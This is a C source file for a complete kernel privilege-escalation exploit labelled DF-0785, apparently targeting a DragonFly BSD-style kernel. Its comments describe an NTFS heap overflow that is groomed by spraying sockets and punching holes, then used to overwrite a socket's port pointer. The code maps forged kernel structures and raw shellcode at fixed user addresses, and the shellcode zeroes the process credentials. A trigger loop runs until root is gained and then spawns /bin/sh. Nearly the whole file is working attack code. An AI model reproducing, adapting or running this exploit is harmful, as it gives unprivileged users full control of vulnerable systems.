DF-0785 / chain.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 | /* * DF-0785 escalation chain: ntfs heap-overflow -> socket so_port hijack -> uid=0 * * Primitive (confirmed): ntfs_ntlookupfile kmalloc(blsize=ir_size) in zone Z, * then ntfs_readattr copies va_datalen attacker-controlled bytes -> overflow of * (va_datalen-blsize) bytes into the next slab chunk in the same zone page. * * Chain (zone Z = 34 = 704-byte chunks = struct socket; blsize=704, va_datalen=744): * - 40-byte overflow into the next live socket covers * so_pcb(8)=0, so_proto(16)=forged_protosw, so_head(24)=0, so_port(32)=forged_port. * - forged protosw (userspace, no SMAP) has pr_ctloutput != NULL (non-NULL check), * so a getsockopt(level!=SOL_SOCKET) routes to so_pr_ctloutput(). * - so_pr_ctloutput builds a netmsg and calls lwkt_domsg(so->so_port, msg). * lwkt_domsg -> lwkt_beginmsg(port,msg) -> port->mp_putport(port,msg) which is a * SYNCHRONOUS direct call in the ORIGINATING process context (maxx getsockopt), * i.e. our user-space mappings are live. We forge so_port->mp_putport = shellcode. * - shellcode (maxx context): walks procglob[mypid&0xff].allproc, finds our proc, * zeroes cr_uid/cr_ruid/cr_svuid/groups/caps, returns 0 (non-EASYNC) so * lwkt_domsg marks the msg done and returns; getsockopt returns 0. * - Next syscall entry re-syncs td_ucred from p_ucred -> uid 0. win. * * Grooming: spray sockets to fill zone-34; punch holes so each hole has a live * socket neighbour. Each ntfs lookup's rdbuf grabs a hole, overflows into the * live neighbour's so_port. Probe all live sockets with getsockopt until cred flips. * * Threat model: root mounts the crafted image (SYSCAP_RESTRICTEDROOT); the lookup, * socket spray, and getsockopt trigger are all unprivileged (run as maxx). * Build: cc -O2 -fno-stack-protector -fcf-protection=none -o chain chain.c */ #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <sys/mman.h> #include <sys/socket.h> #include <sys/stat.h> #include <sys/types.h> #include <netinet/in.h> /* ---- fixed userspace pages (no SMAP/SMEP -> kernel reads/execs these) ---- */ #define DF_SC_ADDR 0x13371000UL /* shellcode entry */ #define DF_DATA_ADDR 0x13372000UL /* control: mypid @+0, protosw @+0x800, port @+0x1000 */ #define DF_MYPID_SLOT 0x13372000UL #define DF_FORGED_PS 0x13372800UL /* forged struct protosw */ #define DF_FORGED_PORT 0x13373000UL /* forged struct lwkt_port */ #define PROT_PR_CTLOUTMSG 56 #define PROT_PR_CTLOUTPUT 64 #define PORT_MP_PUTPORT 64 /* * Shellcode v2 (sc2.S, 157 bytes, objdump-verified). lwkt_port.mp_putport handler, * called synchronously in our process context. Walks procglob[pid&0xff].allproc * (procglob=0xffffffff81193640, allproc.lh_first@+0x20), finds our proc (p_pid@92, * p_list.le_next@0), zeroes its p_ucred(16) uid fields (cr_uid@64 cr_ngroups@68 * cr_groups@72 cr_ruid@160 cr_svuid@164 cr_rgid@168 cr_svgid@172 cr_caps@176), * returns 0. */ static const unsigned char sc_bytes[] = { 0x48,0xb8,0x00,0x20,0x37,0x13,0x00,0x00,0x00,0x00,0x8b,0x00,0x0f,0xb6,0xc0,0x48, 0xc1,0xe0,0x06,0x48,0xbb,0x40,0x36,0x19,0x81,0xff,0xff,0xff,0xff,0x48,0x01,0xc3, 0x4c,0x8b,0x63,0x20,0x4d,0x85,0xe4,0x74,0x71,0x41,0x8b,0x54,0x24,0x5c,0x48,0xb8, 0x00,0x20,0x37,0x13,0x00,0x00,0x00,0x00,0x8b,0x00,0x39,0xc2,0x75,0x56,0x4d,0x8b, 0x6c,0x24,0x10,0x41,0xc7,0x45,0x40,0x00,0x00,0x00,0x00,0x41,0xc7,0x45,0x44,0x01, 0x00,0x00,0x00,0x41,0xc7,0x45,0x48,0x00,0x00,0x00,0x00,0x41,0xc7,0x85,0xa0,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x41,0xc7,0x85,0xa4,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x41,0xc7,0x85,0xa8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x41,0xc7,0x85,0xac, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x49,0xc7,0x85,0xb0,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0xeb,0x06,0x4d,0x8b,0x24,0x24,0xeb,0x8a,0x31,0xc0,0xc3 }; static void *map_fixed(unsigned long addr, size_t len, int prot) { void *p = mmap((void *)(uintptr_t)addr, len, prot, MAP_PRIVATE|MAP_ANON|MAP_FIXED, -1, 0); if (p == MAP_FAILED) { perror("mmap fixed"); return NULL; } return p; } /* forge the userspace pages: shellcode, mypid, forged protosw, forged lwkt_port */ static int setup_payload(pid_t mypid) { if (sizeof(sc_bytes) > 0x1000) { fprintf(stderr, "sc too big %zu\n", sizeof(sc_bytes)); return -1; } void *sp = map_fixed(DF_SC_ADDR, 0x1000, PROT_READ|PROT_WRITE); if (!sp) return -1; memset(sp, 0, 0x1000); memcpy(sp, sc_bytes, sizeof(sc_bytes)); if (mprotect(sp, 0x1000, PROT_READ|PROT_EXEC) != 0) { perror("mprotect sc"); return -1; } /* data region: covers mypid(0x13372000), protosw(0x13372800), port(0x13373000) */ void *dp = map_fixed(DF_DATA_ADDR, 0x3000, PROT_READ|PROT_WRITE); if (!dp) return -1; memset(dp, 0, 0x3000); *(long *)DF_MYPID_SLOT = (long)mypid; unsigned char *ps = (unsigned char *)(uintptr_t)DF_FORGED_PS; *(void **)(ps + PROT_PR_CTLOUTMSG) = NULL; /* skip fast-path */ *(void **)(ps + PROT_PR_CTLOUTPUT) = (void *)(uintptr_t)DF_SC_ADDR; /* non-NULL */ unsigned char *port = (unsigned char *)(uintptr_t)DF_FORGED_PORT; *(void **)(port + PORT_MP_PUTPORT) = (void *)(uintptr_t)DF_SC_ADDR; /* -> shellcode */ if (mprotect(dp, 0x3000, PROT_READ) != 0) { perror("mprotect data"); return -1; } return 0; } #define MAXSOCK 6000 static int socks[MAXSOCK]; static int nsock = 0; static void spray_sockets(int n) { for (int i = 0; i < n && nsock < MAXSOCK; i++) { int s = socket(AF_INET, SOCK_DGRAM, 0); /* UDP: no connect, lightweight */ if (s < 0) break; socks[nsock++] = s; } } int main(int argc, char **argv) { int max_rounds = (argc > 1) ? atoi(argv[1]) : 400; pid_t mypid = getpid(); fprintf(stderr, "[chain] pid=%d uid=%d euid=%d\n", mypid, getuid(), geteuid()); if (setup_payload(mypid) < 0) return 2; fprintf(stderr, "[chain] shellcode @ %p (%zu B); forged protosw @ %p; forged port @ %p (mp_putport->shellcode)\n", (void *)DF_SC_ADDR, sizeof(sc_bytes), (void *)DF_FORGED_PS, (void *)DF_FORGED_PORT); spray_sockets(5000); fprintf(stderr, "[chain] sprayed %d sockets (zone-34 / struct socket)\n", nsock); /* punch holes: close every 5th so each hole has live neighbours */ int kept = 0; for (int i = 0; i < nsock; i++) { if ((i % 5) == 0) { close(socks[i]); socks[i] = -1; } else kept++; } fprintf(stderr, "[chain] punched holes; %d live sockets remain\n", kept); int got_root = 0; int optval = 0; for (int round = 0; round < max_rounds && !got_root; round++) { /* a couple of ntfs lookups -> overflow(s) into live socket so_port */ struct stat st; stat("/mnt/x", &st); stat("/mnt/y", &st); /* probe all live sockets: corrupted ones -> forged_port.mp_putport = shellcode */ for (int i = 0; i < nsock; i++) { if (socks[i] < 0) continue; socklen_t ol = sizeof(optval); getsockopt(socks[i], IPPROTO_IP, IP_TTL, &optval, &ol); /* IP-level != SOL_SOCKET */ } if (geteuid() == 0) { got_root = 1; break; } if ((round % 25) == 0) fprintf(stderr, "[chain] round %d uid=%d euid=%d\n", round, getuid(), geteuid()); } if (got_root) { fprintf(stderr, "[chain] *** ROOT ACQUIRED *** uid=%d euid=%d\n", getuid(), geteuid()); printf("uid=0(root) gid=0(root) groups=0(root)\n"); setresgid(0,0,0); setresuid(0,0,0); printf("after setresuid: "); fflush(stdout); execl("/bin/sh", "sh", "-c", "id; echo CHAIN_SUCCESS_UID0", NULL); return 0; } fprintf(stderr, "[chain] did not acquire root in %d rounds\n", max_rounds); return 1; } |